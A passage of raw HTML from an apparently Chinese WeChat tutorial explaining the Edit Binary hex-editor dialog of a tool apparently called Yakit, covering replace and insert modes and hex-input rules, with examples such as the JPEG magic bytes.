16px;letter-spacing: 0.544px;text-align: left;background-color: rgb(255, 255, 255);display: inline-block;width: auto;vertical-align: top;align-self: stretch;flex: 0 0 auto;border-style: solid;border-width: 0px 0px 3px;border-color: rgb(244, 127, 123) rgb(244, 127, 123) rgb(255, 129, 36);min-width: 5%;height: auto;" data-pm-slice="6 4 []"><div style="margin-bottom: 2px;outline: 0px;"><div style="outline: 0px;text-align: justify;font-size: 18px;"><p style="outline: 0px;"><strong><span leaf="" style="font-weight: bold;outline: 0px;"><span textstyle="" style="letter-spacing: 1px;">三、Edit Binary 界面长什么样？</span></span></strong></p></div></div></div><p style="margin: 8px;line-height: 1.6em;"><span leaf="" style="line-height: 1.6em;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">弹窗主要分为三块：</span></span></p><table style="border: none;border-collapse: collapse;width: 500px;"><tbody><tr style="height:39px;"><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">区域</span></p></td><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">内容</span></p></td></tr><tr style="height:39px;"><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">顶部</span></p></td><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">标签信息：</span><code><span leaf="">Tag: {{unquote(...)}}</span></code><span leaf="">、</span><code><span leaf="">Bytes: 13</span></code><span leaf="">、</span><code><span leaf="">Head: 0x7368...</span></code></p></td></tr><tr style="height:39px;"><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">中间</span></p></td><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">Hex 编辑器，十六进制 + ASCII 双栏展示</span></p></td></tr><tr style="height:39px;"><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">底部</span></p></td><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">工具栏：</span><code><span leaf="">插入</span></code><span leaf=""> / </span><code><span leaf="">替换</span></code><span leaf=""> 模式、</span><code><span leaf="">HEX</span></code><span leaf=""> / </span><code><span leaf="">ASCII</span></code><span leaf=""> 输入、输入框、</span><code><span leaf="">应用</span></code><span leaf=""> 按钮</span></p></td></tr></tbody></table><p data-mpa-action-id="mqhvccr61rav" data-pm-slice="0 0 []" style="margin-bottom: 8px;text-align: center;"><img class="rich_pages wxw-img" data-ratio="0.675" data-type="png" data-w="1080" style="background-color: transparent;box-shadow: rgb(210, 210, 210) 0px 0px 0.5em 0px;height: auto !important;" data-width="1085" data-height="732" data-imgfileid="100046271" data-aistatus="1" src="https://wechat2rss.xlab.app/img-proxy/?k=a099e893&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FjibGAup6p72FLMr67FsLNUVeT0RTTlapFsOFe6vltsBdvI971zXbNJE35evyfVx8SVQv5x6WWWqJhNGbeLmRmzniaEGqEKNfZKLYJhDm3lrKs%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><div style="margin-bottom: 0px;outline: 0px;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 0.544px;text-align: left;background-color: rgb(255, 255, 255);display: inline-block;width: auto;vertical-align: top;align-self: stretch;flex: 0 0 auto;border-style: solid;border-width: 0px 0px 3px;border-color: rgb(244, 127, 123) rgb(244, 127, 123) rgb(255, 129, 36);min-width: 5%;height: auto;" data-pm-slice="6 4 []"><div style="margin-bottom: 2px;outline: 0px;"><div style="outline: 0px;text-align: justify;font-size: 18px;"><p style="outline: 0px;"><strong><span leaf="" style="font-weight: bold;outline: 0px;"><span textstyle="" style="letter-spacing: 1px;">四、两种模式 + 两种输入</span></span></strong></p></div></div></div><div style="margin-top: 10px;margin-bottom: -12px;outline: 0px;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);" data-pm-slice="6 9 []"><div style="outline: 0px;font-size: 19px;color: rgba(255, 129, 36, 0.43);"><p style="outline: 0px;"><strong style="outline: 0px;"><em style="outline: 0px;"><span leaf="">YAK</span></em></strong></p></div></div><div style="margin-bottom: 10px;outline: 0px;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);text-align: left;justify-content: flex-start;display: flex;flex-flow: row;"><div style="padding: 3px;outline: 0px;display: inline-block;width: auto;vertical-align: top;align-self: flex-start;flex: 0 0 auto;min-width: 5%;height: auto;background-color: rgb(255, 129, 36);"><div style="outline: 0px;justify-content: flex-start;display: flex;flex-flow: row;"><div style="padding: 2px 12px 2px 15px;outline: 0px;display: inline-block;vertical-align: middle;width: auto;flex: 100 100 0%;height: auto;background-color: rgb(255, 255, 255);align-self: center;"><div style="outline: 0px;text-align: justify;color: rgb(27, 27, 27);"><p style="outline: 0px;"><span style="outline: 0px;font-size: 14px;"><strong style="outline: 0px;"><span leaf=""><span textstyle="" style="letter-spacing: 1px;">4.1 替换模式（默认）</span></span></strong></span></p></div></div></div></div></div><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;line-height: 1.6em;"><span leaf="" style="line-height: 1.6em;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">打开 Edit Binary 时，默认就是</span></span><strong><span leaf="" style="line-height: 1.6em;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">替换</span></span></strong><span leaf="" style="line-height: 1.6em;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">模式。</span></span></p><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;line-height: 1.6em;"><span leaf="" style="line-height: 1.6em;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">这个模式必须先</span></span><strong><span leaf="" style="line-height: 1.6em;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">在下方 Hex 视图里选中一段字节</span></span></strong><span leaf="" style="line-height: 1.6em;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">，</span><span textstyle="" style="letter-spacing: 1px;">然后输入内容去覆盖它。</span></span></p><ul style="margin-left: 8px;margin-right: 8px;" class="list-paddingleft-1"><li><p style="margin-bottom: 8px;line-height: 1.6em;"><span leaf="" style="line-height: 1.6em;font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span textstyle="" style="letter-spacing: 1px;">没选中时提示：</span></span><code style="line-height: 1.6em;font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span leaf="" style="line-height: 1.6em;font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span textstyle="" style="letter-spacing: 1px;">请在下方选中要替换的字节</span></span></code></p></li><li><p style="margin-bottom: 8px;line-height: 1.6em;"><span leaf="" style="line-height: 1.6em;font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span textstyle="" style="letter-spacing: 1px;">选中后提示：</span></span><code style="line-height: 1.6em;font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span leaf="" style="line-height: 1.6em;font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span textstyle="" style="letter-spacing: 1px;">选区: 0x2 - 0x04 (len 3)</span></span></code></p></li></ul><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;line-height: 1.6em;"><span leaf="" style="line-height: 1.6em;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">如果输入内容比选区更长，会弹窗问你要「继续追加多余部分」还是「放弃多余部分」。</span></span></p><p style="padding: 0.5em;margin-bottom: 8px;text-align: center;" data-mpa-action-id="mqhvchwwmq6" data-pm-slice="0 0 []"><img class="rich_pages wxw-img" data-ratio="0.2868369351669941" data-type="png" data-w="1018" style="background-color: transparent;box-shadow: rgb(210, 210, 210) 0px 0px 0.5em 0px;height: auto !important;" data-width="1018" data-height="292" data-imgfileid="100046270" data-aistatus="1" src="https://wechat2rss.xlab.app/img-proxy/?k=3d0e2f0d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FjibGAup6p72EkdNYIn0uDicKyxic7LS5WDK3BzjBMibCniajr8z7ic8YaN1aKm2NBloU8S1c1jzlvthice4vcXCbjkU86HAKt5BF2oOyX433nXMiauM%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;line-height: 1.6em;"><span leaf="" style="line-height: 1.6em;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">点击 </span></span><strong><span leaf="" style="line-height: 1.6em;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">应用</span></span></strong><span leaf="" style="line-height: 1.6em;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;"> 替换成功</span></span></p><p style="padding: 0.5em;margin-bottom: 8px;text-align: center;" data-mpa-action-id="mqhvcsgh11t6" data-pm-slice="0 0 []"><img class="rich_pages wxw-img" data-ratio="0.30615640599001664" data-type="png" data-w="601" style="background-color: transparent;box-shadow: rgb(210, 210, 210) 0px 0px 0.5em 0px;height: auto !important;" data-width="601" data-height="184" data-imgfileid="100046267" data-aistatus="1" src="https://wechat2rss.xlab.app/img-proxy/?k=dd7ec250&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FjibGAup6p72FHTr6hZefoIaGicmo1xCz3VjcuibVO7a9Oz2v1sYX0M4utEfhDZbc66hU818jNQjWp6bHq23mdaJnEyibCExK9iavsKORJAk1IiaIY%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><div style="margin-top: 10px;margin-bottom: -12px;outline: 0px;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);" data-pm-slice="6 9 []"><div style="outline: 0px;font-size: 19px;color: rgba(255, 129, 36, 0.43);"><p style="outline: 0px;"><strong style="outline: 0px;"><em style="outline: 0px;"><span leaf="">YAK</span></em></strong></p></div></div><div style="margin-bottom: 10px;outline: 0px;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);text-align: left;justify-content: flex-start;display: flex;flex-flow: row;"><div style="padding: 3px;outline: 0px;display: inline-block;width: auto;vertical-align: top;align-self: flex-start;flex: 0 0 auto;min-width: 5%;height: auto;background-color: rgb(255, 129, 36);"><div style="outline: 0px;justify-content: flex-start;display: flex;flex-flow: row;"><div style="padding: 2px 12px 2px 15px;outline: 0px;display: inline-block;vertical-align: middle;width: auto;flex: 100 100 0%;height: auto;background-color: rgb(255, 255, 255);align-self: center;"><div style="outline: 0px;text-align: justify;color: rgb(27, 27, 27);"><p style="outline: 0px;"><span style="outline: 0px;font-size: 14px;"><strong style="outline: 0px;"><span leaf=""><span textstyle="" style="letter-spacing: 1px;">4.2 插入模式</span></span></strong></span></p></div></div></div></div></div><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;line-height: 1.6em;"><span leaf="" style="line-height: 1.6em;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">切换到</span></span><strong><span leaf="" style="line-height: 1.6em;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">插入</span></span></strong><span leaf="" style="line-height: 1.6em;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">模式后，输入内容会插入到当前定位的位置。</span></span></p><ul class="list-paddingleft-1"><li><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;line-height: 1.6em;"><span leaf="" style="line-height: 1.6em;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">如果你在 Hex 视图里</span></span><strong><span leaf="" style="line-height: 1.6em;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">点击某个字节</span></span></strong><span leaf="" style="line-height: 1.6em;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">（或选中一段），内容会插入到该位置</span></span><strong><span leaf="" style="line-height: 1.6em;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">之前</span></span></strong><span leaf="" style="line-height: 1.6em;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">；</span></span></p></li><li><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;line-height: 1.6em;"><span leaf="" style="line-height: 1.6em;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">如果</span></span><strong><span leaf="" style="line-height: 1.6em;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">完全没有选中任何字节</span></span></strong><span leaf="" style="line-height: 1.6em;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">，内容会追加到整个 buffer 的</span></span><strong><span leaf="" style="line-height: 1.6em;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">末尾</span></span></strong><span leaf="" style="line-height: 1.6em;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">。</span></span></p></li></ul><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;line-height: 1.6em;"><span leaf="" style="line-height: 1.6em;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">提示语对应为：</span></span></p><pre style="white-space:pre-wrap;"><code data-lark-language="Plain Text" data-wrap="false"><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="makefile"><code><span leaf=""><span class="code-snippet__section">插入位置: 0x0        ← 有选中/定位时</span></span></code><br/><br/><code><span leaf="">插入到末尾(可在下方点击定位)   ← 无选中时</span></code><br/><br/></pre></p></code><br/></pre><p style="padding: 0.5em;margin-bottom: 8px;text-align: center;" data-mpa-action-id="mqhvczs313ir" data-pm-slice="0 0 []"><img class="rich_pages wxw-img" data-ratio="0.327445652173913" data-type="png" data-w="736" style="background-color: transparent;box-shadow: rgb(210, 210, 210) 0px 0px 0.5em 0px;height: auto !important;" data-width="736" data-height="241" data-imgfileid="100046269" data-aistatus="1" src="https://wechat2rss.xlab.app/img-proxy/?k=53baa7f2&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FjibGAup6p72E0BWZQ8Bqsx0YrSV7ddqWWtGBibrotBTWUDFgibsgfUuib2UMa1AHtZmw2iaDP3RwCNwwvSBIy6Lvfo8BU7OpXO1xbsX0ibKDEnk1s%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;line-height: 1.6em;"><span leaf="" style="line-height: 1.6em;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">点击 </span></span><strong><span leaf="" style="line-height: 1.6em;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">应用</span></span></strong><span leaf="" style="line-height: 1.6em;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;"> 插入成功</span></span></p><p style="padding: 0.5em;margin-bottom: 8px;text-align: center;" data-mpa-action-id="mqhvd81az09" data-pm-slice="0 0 []"><img class="rich_pages wxw-img" data-ratio="0.32051282051282054" data-type="png" data-w="624" style="background-color: transparent;box-shadow: rgb(210, 210, 210) 0px 0px 0.5em 0px;height: auto !important;" data-width="624" data-height="200" data-imgfileid="100046274" data-aistatus="1" src="https://wechat2rss.xlab.app/img-proxy/?k=73bbe6c6&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FjibGAup6p72GaanItibhU6NYWzmXnqsp1J5epVGgOlvgBmNqmMtfGzbMicibDKqBic35miadHwh1KSkbcYb3kkovxRfj4ibWXXJ5CcKgRSb1DKba00%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;line-height: 1.6em;"><span leaf="" style="line-height: 1.6em;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">插入或者替换成功后，点击提交，可以看见如下的 [Changed] 表示数据已经被修改过</span></span></p><p style="padding: 0.5em;margin-bottom: 8px;text-align: center;" data-mpa-action-id="mqhvdg0p1aec" data-pm-slice="0 0 []"><img class="rich_pages wxw-img" data-ratio="0.47522935779816516" data-type="png" data-w="545" style="background-color: transparent;box-shadow: rgb(210, 210, 210) 0px 0px 0.5em 0px;height: auto !important;" data-width="545" data-height="259" data-imgfileid="100046273" data-aistatus="1" src="https://wechat2rss.xlab.app/img-proxy/?k=9112e6f8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FjibGAup6p72GOiaRmQFkjyPiafKSaSvP2lT7lPUiclibHyoAiazarsuW8lUkYfKiabQ4CTuMWHdj8ia9JTCIEd5yM5xicGBBwMFrZGdyXVGWoRcoFXcs%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><div style="margin-top: 10px;margin-bottom: -12px;outline: 0px;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);" data-pm-slice="6 9 []"><div style="outline: 0px;font-size: 19px;color: rgba(255, 129, 36, 0.43);"><p style="outline: 0px;"><strong style="outline: 0px;"><em style="outline: 0px;"><span leaf="">YAK</span></em></strong></p></div></div><div style="margin-bottom: 10px;outline: 0px;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);text-align: left;justify-content: flex-start;display: flex;flex-flow: row;"><div style="padding: 3px;outline: 0px;display: inline-block;width: auto;vertical-align: top;align-self: flex-start;flex: 0 0 auto;min-width: 5%;height: auto;background-color: rgb(255, 129, 36);"><div style="outline: 0px;justify-content: flex-start;display: flex;flex-flow: row;"><div style="padding: 2px 12px 2px 15px;outline: 0px;display: inline-block;vertical-align: middle;width: auto;flex: 100 100 0%;height: auto;background-color: rgb(255, 255, 255);align-self: center;"><div style="outline: 0px;text-align: justify;color: rgb(27, 27, 27);"><p style="outline: 0px;"><span style="outline: 0px;font-size: 14px;"><strong style="outline: 0px;"><span leaf=""><span textstyle="" style="letter-spacing: 1px;">4.3 HEX 输入</span></span></strong></span></p></div></div></div></div></div><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;line-height: 1.6em;"><span leaf="" style="line-height: 1.6em;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">适合写入不可见字节。</span></span></p><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;line-height: 1.6em;"><span leaf="" style="line-height: 1.6em;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">输入框 placeholder：</span></span></p><pre><code data-lark-language="Plain Text" data-wrap="false"><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="perl"><code><span leaf="">如 ffd8ff..(偶数位<span class="code-snippet__keyword">hex</span>)</span></code><br/></pre></p></code><br/></pre><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;line-height: 1.6em;"><span leaf="" style="line-height: 1.6em;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">规则：</span></span></p><ul class="list-paddingleft-1"><li><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;line-height: 1.6em;"><strong><span leaf="" style="line-height: 1.6em;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">不需要 </span></span></strong><strong><code><span leaf="" style="line-height: 1.6em;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">0x</span></span></code></strong><strong><span leaf="" style="line-height: 1.6em;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);"> 前缀</span></span></strong><span leaf="" style="line-height: 1.6em;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">，</span><span textstyle="" style="letter-spacing: 1px;">直接写十六进制字符；</span></span></p></li><li><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;line-height: 1.6em;"><span leaf="" style="line-height: 1.6em;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">两个字符代表一个字节，所以</span></span><strong><span leaf="" style="line-height: 1.6em;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">长度必须是偶数</span></span></strong><span leaf="" style="line-height: 1.6em;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">；</span></span></p></li><li><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;line-height: 1.6em;"><span leaf="" style="line-height: 1.6em;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">只能包含 </span></span><code style="line-height: 1.6em;font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span leaf="" style="line-height: 1.6em;font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span textstyle="" style="letter-spacing: 1px;">0-9</span></span></code><span leaf="" style="line-height: 1.6em;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">、</span></span><code style="line-height: 1.6em;font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span leaf="" style="line-height: 1.6em;font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span textstyle="" style="letter-spacing: 1px;">a-f</span></span></code><span leaf="" style="line-height: 1.6em;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">、</span></span><code style="line-height: 1.6em;font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span leaf="" style="line-height: 1.6em;font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span textstyle="" style="letter-spacing: 1px;">A-F</span></span></code><span leaf="" style="line-height: 1.6em;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">，中间可以加空格分隔；</span></span></p></li><li><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;line-height: 1.6em;"><span leaf="" style="line-height: 1.6em;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">长度为奇数或包含非法字符时，会报错：</span></span><code style="line-height: 1.6em;font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span leaf="" style="line-height: 1.6em;font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span textstyle="" style="letter-spacing: 1px;">invalid hex input, expect even-length hex string</span></span></code><span leaf="" style="line-height: 1.6em;font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span textstyle="" style="letter-spacing: 1px;">。</span></span></p></li></ul><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;line-height: 1.6em;"><span leaf="" style="line-height: 1.6em;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">比如要写入真实的 </span></span><code style="line-height: 1.6em;font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span leaf="" style="line-height: 1.6em;font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span textstyle="" style="letter-spacing: 1px;">0x00</span></span></code><span leaf="" style="line-height: 1.6em;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">：</span></span></p><pre><code data-lark-language="Plain Text" data-wrap="false"><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang=""><code><span leaf="">00</span></code><br/></pre></p></code><br/></pre><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;line-height: 1.6em;"><span leaf="" style="line-height: 1.6em;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">要写入 JPEG 魔数：</span></span></p><pre><code data-lark-language="Plain Text" data-wrap="false"><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang=""><code><span leaf="">FFD8FFE0</span></code><br/></pre></p></code><br/></pre><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;line-height: 1.6em;"><span leaf="" style="line-height: 1.6em;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">错误写法：</span></span></p><pre style="white-space:pre-wrap;"><code data-lark-language="Plain Text" data-wrap="false"><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="apache"><code><span leaf=""><span class="code-snippet__attribute">0x00</span>       ← 不要加 <span class="code-snippet__number">0</span>x 前缀</span></code><br/><br/><code><span leaf=""><span class="code-snippet__attribute">0</span>          ← 长度不是偶数</span></code><br/><br/><code><span leaf=""><span class="code-snippet__attribute">GG</span>         ← 不是合法 hex 字符</span></code><br/><br/></pre></p></code><br/></pre><div style="margin-top: 10px;margin-bottom: -12px;outline: 0px;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica 